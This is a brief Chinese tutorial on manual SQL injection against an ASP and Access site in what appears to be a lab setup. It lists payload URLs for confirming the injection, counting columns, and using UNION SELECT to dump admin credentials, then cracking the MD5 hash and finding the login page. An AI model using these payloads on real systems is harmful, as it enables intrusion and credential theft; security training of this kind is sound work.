ACCESS手工注入

http://t.csdnimg.cn/l6Hvp  ACCESS环境搭建查看此文章

1.打开网页查看是否存在注入

/news_view.asp?id=13' //报错

/news_view.asp?id=13 and 1=1  //页面正常

/news_view.asp?id=13 and 1=2  //页面错误

2.order by 查看字段列数

/news_view.asp?id=13 order by 8  //页面错误

/news_view.asp?id=13 order by 7  //页面正常，说明有七列

3.判断回显字段及猜测表名称

/news_view.asp?id=13 union select 1,2,3,4,5,6,7 from admin  //页面错误，说明表名不是admin

/news_view.asp?id=13 union select 1,2,3,4,5,6,7 from administrator  //页面正常，且出现回显点

4.猜用户名和密码

/news_view.asp?id=13 union select 1,user_name,password,4,5,6,7 from administrator  //页面正常，说明存在用户名为user_name,密码字段为password

5.将获取到的密码通过MD5解密

6.通过御剑扫描ip下的目录，查找后台登陆系统

访问http://172.16.1.52/admin/index.asp  ，登录后台